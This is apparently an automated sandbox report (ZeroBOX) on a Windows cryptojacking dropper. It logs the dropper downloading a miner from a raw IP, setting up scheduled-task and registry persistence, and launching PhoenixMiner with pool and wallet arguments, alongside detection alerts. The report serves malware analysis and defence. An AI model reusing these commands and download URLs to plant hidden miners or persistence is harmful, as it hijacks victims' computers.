Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	March 9, 2021, 1:24 p.m.	March 9, 2021, 1:27 p.m.

Size	908.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`dd3de309df5791a357534b613270ca3a`
SHA256	`68288944f411f451612a76069d22ba5ec804d649d992cafeb75bce96e8c7ae69`
CRC32	`62CB30E8`
ssdeep	`24576:wAHnh+eWsN3skA4RV1Hom2KXMmHafoKn5:nh+ZkldoPK8YafV`
Yara	IsPE32 - (no description) IsWindowsGUI - (no description) HasDebugData - DebugData Check HasRichSignature - Rich Signature Check AutoIt - www.autoitscript.com/site/autoit/ CryptGenKey_Zero - CryptGenKey Zero FindFirstVolume_Zero - FindFirstVolume Zero inject_thread - Code injection with CreateRemoteThread in a remote process network_http - Communications over HTTP escalate_priv - Escalade priviledges screenshot - Take screenshot keylogger - Run a keylogger win_registry - Affect system registries win_token - Affect system token win_files_operation - Affect private profile Str_Win32_Winsock2_Library - Match Winsock 2 API library declaration Str_Win32_Wininet_Library - Match Windows Inet API library declaration Str_Win32_Internet_API - Match Windows Inet API call Str_Win32_Http_API - Match Windows Http API call Process_Snapshot_Kill_Zero - Process Kill Zero PE_Header_Zero - PE File Signature Zero OS_Processor_Check_Zero - OS Processor Check Signature Zero Device_Check_Zero - Device Check Zero

Daemon.exe "C:\Users\test22\AppData\Local\Temp\Daemon.exe"
3576
- cmd.exe C:\Windows\system32\cmd.exe /cschtasks /create /tn "WinWoW64" /tr "C:\ProgramData\DaemonL\Daemon.exe" /sc MINUTE /mo 1
  8064
  - schtasks.exe schtasks /create /tn "WinWoW64" /tr "C:\ProgramData\DaemonL\Daemon.exe" /sc MINUTE /mo 1
    5916
- PhoenixMiner.exe "C:\ProgramData\DaemonL\PhoenixMiner.exe" -pool stratum+tcp://eu.emcd.io:7777 -pool2 stratum+tcp://eu2.emcd.io:7777 -wal patriot.hi -gpow 30 -gt 6 -log 0
  8400

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
172.217.25.14	Active	Moloch
194.147.115.117	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49805 -> 194.147.115.117:80	2008350	ET POLICY Autoit Windows Automation tool User-Agent in HTTP Request - Possibly Hostile	Potential Corporate Privacy Violation
TCP 192.168.56.102:49805 -> 194.147.115.117:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.102:49805 -> 194.147.115.117:80	2019935	ET INFO AutoIt User Agent Executable Request	A Network Trojan was detected
TCP 194.147.115.117:80 -> 192.168.56.102:49805	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 194.147.115.117:80 -> 192.168.56.102:49805	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.102:49805 -> 194.147.115.117:80	2008350	ET POLICY Autoit Windows Automation tool User-Agent in HTTP Request - Possibly Hostile	Potential Corporate Privacy Violation
TCP 192.168.56.102:49805 -> 194.147.115.117:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.102:49805 -> 194.147.115.117:80	2019935	ET INFO AutoIt User Agent Executable Request	A Network Trojan was detected
TCP 194.147.115.117:80 -> 192.168.56.102:49805	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW March 9, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent March 9, 2021, 1:24 p.m.			0	0

Command line console output was observed (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW March 9, 2021, 1:25 p.m.	buffer: SUCCESS: The scheduled task "WinWoW64" has successfully been created. console_handle: 0x00000007	1	1	0

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx March 9, 2021, 1:25 p.m.		1	1	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	Connection to IP address				suspicious_request	GET http://194.147.115.117/zzztop/Daemon.exe
suspicious_features	Connection to IP address				suspicious_request	GET http://194.147.115.117/zzztop/PhoenixMiner.exe

Performs some HTTP requests (2 events)

request	GET http://194.147.115.117/zzztop/Daemon.exe
request	GET http://194.147.115.117/zzztop/PhoenixMiner.exe

Allocates read-write-execute memory (usually to unpack itself) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory March 9, 2021, 1:24 p.m.	process_identifier: 3576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73772000 process_handle: 0xffffffff	1	0	0

Creates executable files on the filesystem (2 events)

file	C:\ProgramData\DaemonL\Daemon.exe
file	C:\ProgramData\DaemonL\PhoenixMiner.exe

Creates a suspicious process (2 events)

cmdline	C:\Windows\system32\cmd.exe /cschtasks /create /tn "WinWoW64" /tr "C:\ProgramData\DaemonL\Daemon.exe" /sc MINUTE /mo 1
cmdline	schtasks /create /tn "WinWoW64" /tr "C:\ProgramData\DaemonL\Daemon.exe" /sc MINUTE /mo 1

Drops a binary and executes it (1 event)

file	C:\ProgramData\DaemonL\PhoenixMiner.exe

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (50 out of 68 events)

Time & API	Arguments	Status	Return
Process32FirstW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: [System Process] process_identifier: 0	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: System process_identifier: 4	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: smss.exe process_identifier: 224	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: csrss.exe process_identifier: 300	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: wininit.exe process_identifier: 348	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: csrss.exe process_identifier: 364	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: winlogon.exe process_identifier: 396	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: services.exe process_identifier: 440	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: lsass.exe process_identifier: 456	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: lsm.exe process_identifier: 464	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: svchost.exe process_identifier: 568	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: svchost.exe process_identifier: 640	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: svchost.exe process_identifier: 700	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: svchost.exe process_identifier: 776	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: svchost.exe process_identifier: 824	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: svchost.exe process_identifier: 968	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: svchost.exe process_identifier: 264	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: spoolsv.exe process_identifier: 820	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: svchost.exe process_identifier: 292	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: svchost.exe process_identifier: 1192	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: srvany.exe process_identifier: 1244	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: taskhost.exe process_identifier: 1284	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: KMService.exe process_identifier: 1324	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: conhost.exe process_identifier: 1376	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: sppsvc.exe process_identifier: 1800	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: svchost.exe process_identifier: 1876	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: dwm.exe process_identifier: 1496	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: explorer.exe process_identifier: 1848	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: SearchIndexer.exe process_identifier: 2548	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: thunderbird.exe process_identifier: 3960	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: pw.exe process_identifier: 5008	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: audiodg.exe process_identifier: 7936	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: splwow64.exe process_identifier: 3928	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: SearchProtocolHost.exe process_identifier: 3816	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: SearchFilterHost.exe process_identifier: 7776	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: pw.exe process_identifier: 7308	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: taskhost.exe process_identifier: 5308	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: Daemon.exe process_identifier: 3576	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: rundll32.exe process_identifier: 7688	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: rundll32.exe process_identifier: 5096	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: cmd.exe process_identifier: 5960	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: conhost.exe process_identifier: 5752	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: pw.exe process_identifier: 8264	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: cmd.exe process_identifier: 4608	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: conhost.exe process_identifier: 8772	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: pw.exe process_identifier: 7552	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: cmd.exe process_identifier: 1756	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: conhost.exe process_identifier: 2060	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: pw.exe process_identifier: 6980	1	1
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: cmd.exe process_identifier: 7076	1	1

An executable file was downloaded by the process daemon.exe (2 events)

Time & API	Arguments	Status	Return	Repeated
InternetReadFile March 9, 2021, 1:24 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $sRüÁRüÁRüÁCÁPüÁÌ²;ÁSüÁ_@#ÁaüÁ_@ÁãüÁ_@ÁgüÁ[jÁ[üÁ[joÁwüÁRýÁrüÁçÁüÁç#ÁSüÁ_@'ÁSüÁRkÁSüÁç"ÁSüÁRichRüÁPEL¼ª_à"àN ð@÷^@@@ÌÀ\|ä4qÀ+ PK @ð.textÝßà `.rdataýðþä@@.datatðRâ@À.rsrcä4@@.reloc4qrÀ @B request_handle: 0x00cc000c	1	1	0
InternetReadFile March 9, 2021, 1:24 p.m.	buffer: MZÿÿ¸@8º´ Í!¸LÍ!This program cannot be run in DOS mode. $ðDJÐJÐJÐþ ÛÐDÐþ ÙÐñÐþ ØÐUÐÔ1íÐBÐqÏ)ÑBÐqÏ.ÑaÐqÏ/ÑÊÐÊ/ÑKÐQÐKÐCé¹ÐNÐQÐZÐ$Ì/ÑOÐÝÏ.ÑeÐnáÐ_ÐJ+Ð8ÐÝÏ/ÑÐÝÏÑKÐØÏÕÐKÐÝÏ(ÑKÐRichJÐPEdk_ð"Ð=Ê; 6@ày`àp\<pÜPyà°v0v`y´}`jj(0#ià=ðp.textÌÎ=Ð= `.rdataTÚ2à=Ü2Ô=@@.data´âÀp`°p@À.pdata0v°vxv@@.tls0yx@À.gfids<@yx@@.rsrcàPyx@@.reloc´}`y~x@B request_handle: 0x00cc000c	1	1	0

The binary likely contains encrypted or compressed data indicative of a packer (1 event)

section

{u'size_of_data': u'0x00018c00', u'virtual_address': u'0x000c8000', u'entropy': 7.297773287958896, u'name': u'.rsrc', u'virtual_size': u'0x00018be4'}

entropy

7.29777328796

description

A section with a high entropy has been found

Expresses interest in specific running processes (1 event)

process

daemon.exe

Repeatedly searches for a not-found process, you may want to run a web browser during analysis (50 out of 290 events)

Time & API	Arguments	Status	Return	Repeated
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002ec process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: pw.exe process_identifier: 8264		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: pw.exe process_identifier: 8264		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: pw.exe process_identifier: 8264		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: pw.exe process_identifier: 8264		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: pw.exe process_identifier: 8264		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: pw.exe process_identifier: 8264		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: pw.exe process_identifier: 8264		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: pw.exe process_identifier: 8264		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: pw.exe process_identifier: 8264		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: pw.exe process_identifier: 8264		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: pw.exe process_identifier: 8264		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: pw.exe process_identifier: 8264		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x00000380 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: pw.exe process_identifier: 7552		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: pw.exe process_identifier: 7552		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: pw.exe process_identifier: 7552		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: pw.exe process_identifier: 7552		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: pw.exe process_identifier: 7552		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: pw.exe process_identifier: 7552		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: pw.exe process_identifier: 7552		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: pw.exe process_identifier: 7552		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: pw.exe process_identifier: 7552		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: pw.exe process_identifier: 7552		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: pw.exe process_identifier: 7552		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: pw.exe process_identifier: 7552		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: rundll32.exe process_identifier: 5096		0	0
Process32NextW March 9, 2021, 1:25 p.m.	snapshot_handle: 0x000002c4 process_name: rundll32.exe process_identifier: 5096		0	0

Potentially malicious URLs were found in the process memory dump (50 out of 948 events)

url	https://ssl.pstatic.net/static/pwe/common/img_use_mobile_version.png
url	http://wwwimages.adobe.com/www.adobe.com/swf/software/flash/about/flash_about_793x170.swf
url	https://s.pstatic.net/static/www/mobile/edit/2018/0206/cropImg_166x108_118371466370743504.jpeg
url	https://s.pstatic.net/dthumb.phinf/?src=%22https%3A%2F%2Fs.pstatic.net%2Fstatic%2Fwww%2Fmobile%2Fedit%2F2020%2F1031%2Fupload_20063893240744871RiJjV.jpg%22
url	http://175.208.134.150:8282/test/test.eml
url	https://s.pstatic.net/static/newsstand/2020/logo/light/0604/905.png
url	https://s.pstatic.net/static/www/mobile/edit/2020/1103/mobile_142459883835.gif
url	https://ssl.pstatic.net/tveta/libs/assets/js/common/min/probe.min.js
url	http://blogimgs.naver.net/nblog/guestbook/btn_close2.gif
url	https://ssl.pstatic.net/static/nid/login/rw_captcha01.png
url	http://www.snee.com/xml/xslt/sample.doc
url	http://www.yceml.net/0559/10408495-1499411010011
url	https://t1.daumcdn.net/tistory_admin/blogs/plugins/tatterDesk/js/src/controls.js?_version_=9024c9023ed6ab26b00b4f2905e46ffa08aeb336
url	https://s.pstatic.net/static/newsstand/up/2020/0615/nsd10319824.png
url	http://t.static.blog.naver.net/mylog/versioning/nhn.keywordHighlighter-99428789.js
url	https://s.pstatic.net/dthumb.phinf/?src=%22http%3A%2F%2Fstatic.naver.net%2Fwww%2Fmobile%2Fedit%2F2020%2F0805%2FcropImg_339x222_38552809772500435.jpeg%22
url	https://ssl.pstatic.net/static/pwe/nm/b.gif
url	https://castbox.shopping.naver.com/js/lazyload.js
url	https://s.pstatic.net/shopping.phinf/20200729_1/2931dd60-1842-4048-a39c-1e3389db4a0e.jpg
url	https://ssl.pstatic.net/static/pwe/nm/spr_vertical_0d25bb77f8.png
url	https://s.pstatic.net/static/newsstand/2020/logo/light/0604/042.png
url	https://s.pstatic.net/static/newsstand/2020/logo/light/0604/955.png
url	https://s.pstatic.net/dthumb.phinf/?src=%22https%3A%2F%2Fs.pstatic.net%2Fstatic%2Fwww%2Fmobile%2Fedit%2F2020%2F1021%2Fupload_19201541624342101mWI1T.jpg%22
url	http://www.buzzadnetwork.com/jump/next.php?stamat=m%7CM-4iM-4jaQdHQBH0dEdHP3xP.0e7%2CboDB7XrVJDfRqYwVNhmAc8QRCrIuseXl_bWuTf_latOFYiGEzPpb7ikp5t8RPmTHyMRYDe1i9EJZLC6LSuccW1-YPggnMxkcwVirdNVGfgK3hFUbeKvFvqNv0-u8VxfrNUFB1gFhMN_8GLCn1znxf5_p0FJe0MYRI7nbfyajoqg_H3fvzrjsMsC0vAMYn2un8v5vcBfzwM-DewoZ7WId7geGlrySfAHx5KiJ5Hm90CU%2C
url	https://s.pstatic.net/shopping.phinf/20200720_22/e2297359-375a-403a-86c5-44ff86c708fc.jpg
url	https://t1.daumcdn.net/tistory_admin/blogs/plugins/PreventCopyContents/js/functions.js?_version_=9024c9023ed6ab26b00b4f2905e46ffa08aeb336
url	https://s.pstatic.net/shopping.phinf/20201103_21/701f9083-a72b-4ef6-ac1c-0daf1907c51d.jpg?type=f214_292
url	https://ssl.pstatic.net/tveta/libs/1298/1298853/743c01d46e807a376d99_20200730182507675.png
url	https://tistory3.daumcdn.net/tistory/807805/skin/images/footerbg.jpg
url	https://s.pstatic.net/static/newsstand/2020/logo/light/0604/820.png
url	https://www.google.com/pagead/drt/ui
url	https://s.pstatic.net/shopping.phinf/20201102_18/6131e135-0b61-4b61-86ca-480bf7612785.jpg
url	https://s.pstatic.net/static/newsstand/2020/logo/light/0604/327.png
url	http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
url	https://mail.naver.com/js_src/com/nhncorp/mail/write/se2_new/smart_editor2_inputarea_ie8.html?version=20190704
url	https://static.nid.naver.com/loginv3/img/sp_login_20150113.gif
url	https://s.pstatic.net/static/newsstand/2020/logo/light/0604/031.png
url	https://tpc.googlesyndication.com/pagead/images/abg/icon.png
url	https://search.pstatic.net/common/?src=http%3A%2F%2Fcafefiles.naver.net%2FMjAxNzExMDdfODcg%2FMDAxNTEwMDY0OTYzNTA5.y-bJj3BgRC8r80hM6EblWFHSqawqo5-vMJAzHBN6rEkg.vAPtUzoeY8mHPRaMuejD3HrMtW5xgv-cdeEaAc0q2Rog.PNG.flashcs7%2FScreenshot_2017-11-07-22-55-08.png%23600x1024
url	https://s.pstatic.net/dthumb.phinf/?src=%22http%3A%2F%2Fstatic.naver.net%2Fwww%2Fmobile%2Fedit%2F2020%2F0804%2FcropImg_336x206_38466352545626545.png%22
url	https://www.naver.com
url	https://t1.daumcdn.net/tistory_admin/blogs/style/menubar.css?_version_=9024c9023ed6ab26b00b4f2905e46ffa08aeb336
url	https://ssl.pstatic.net/static/nid/login/pc_2step_396_110.png
url	https://tpc.googlesyndication.com/pagead/js/r20180205/r20110914/abg.js
url	https://s.pstatic.net/static/newsstand/2020/logo/light/0604/024.png
url	https://c.microsoft.com/ms.js
url	https://securepubads.g.doubleclick.net/tag/js/gpt.js
url	http://blogimgs.naver.net/nblog/skins/happybean/btn-put.gif
url	https://s.pstatic.net/static/newsstand/2020/logo/light/0604/957.png
url	https://my.sendinblue.com/public/theme/version4/assets/images/loader_sblue.gif

Yara rule detected in process memory (50 out of 274 events)

description	Code injection with CreateRemoteThread in a remote process	rule	inject_thread
description	Hijack network configuration	rule	hijack_network
description	Create a windows service	rule	create_service
description	Create a COM server	rule	create_com_service
description	Communications over UDP network	rule	network_udp_sock
description	Listen for incoming communication	rule	network_tcp_listen
description	Communications over Toredo network	rule	network_toredo
description	Communications over P2P network	rule	network_p2p_win
description	Communications over HTTP	rule	network_http
description	File downloader/dropper	rule	network_dropper
description	Communications over FTP	rule	network_ftp
description	Communications over RAW socket	rule	network_tcp_socket
description	Communications use DNS	rule	network_dns
description	Communication using dga	rule	network_dga
description	Escalade priviledges	rule	escalate_priv
description	Take screenshot	rule	screenshot
description	Run a keylogger	rule	keylogger
description	Steal credential	rule	cred_local
description	Record Audio	rule	sniff_audio
description	APC queue tasks migration	rule	migrate_apc
description	Malware can spread east-west file	rule	spreading_file
description	Malware can spread east-west using share drive	rule	spreading_share
description	Create or check mutex	rule	win_mutex
description	Affect system registries	rule	win_registry
description	Affect system token	rule	win_token
description	Affect private profile	rule	win_private_profile
description	Affect private profile	rule	win_files_operation
description	Match Winsock 2 API library declaration	rule	Str_Win32_Winsock2_Library
description	Match Windows Inet API library declaration	rule	Str_Win32_Wininet_Library
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Code injection with CreateRemoteThread in a remote process	rule	inject_thread
description	Create a windows service	rule	create_service
description	Create a COM server	rule	create_com_service
description	Communications over UDP network	rule	network_udp_sock
description	Listen for incoming communication	rule	network_tcp_listen

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	C:\Windows\system32\cmd.exe /cschtasks /create /tn "WinWoW64" /tr "C:\ProgramData\DaemonL\Daemon.exe" /sc MINUTE /mo 1
cmdline	schtasks /create /tn "WinWoW64" /tr "C:\ProgramData\DaemonL\Daemon.exe" /sc MINUTE /mo 1

Connects to an IRC server, possibly part of a botnet

Communicates with host for which no DNS query was performed (2 events)

host	172.217.25.14
host	194.147.115.117

Attempts to identify installed AV products by installation directory (1 event)

file	C:\Users\test22\AppData\Local\Temp\SandboxieInstall.exe

Installs itself for autorun at Windows startup (7 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\Win32 SystemNetwork Application	reg_value	C:\ProgramData\DaemonL\Daemon.exe
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Win32 SystemNetwork Application	reg_value	C:\ProgramData\DaemonL\Daemon.exe
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Win32 SystemNetwork Application	reg_value	C:\ProgramData\DaemonL\Daemon.exe
reg_key	HKEY_CURRENT_USER\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Win32 SystemNetwork Application	reg_value	C:\ProgramData\DaemonL\Daemon.exe
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Win32 SystemNetwork Application	reg_value	C:\ProgramData\DaemonL\Daemon.exe
cmdline	C:\Windows\system32\cmd.exe /cschtasks /create /tn "WinWoW64" /tr "C:\ProgramData\DaemonL\Daemon.exe" /sc MINUTE /mo 1
cmdline	schtasks /create /tn "WinWoW64" /tr "C:\ProgramData\DaemonL\Daemon.exe" /sc MINUTE /mo 1

A stratum cryptocurrency mining command was executed (2 events)

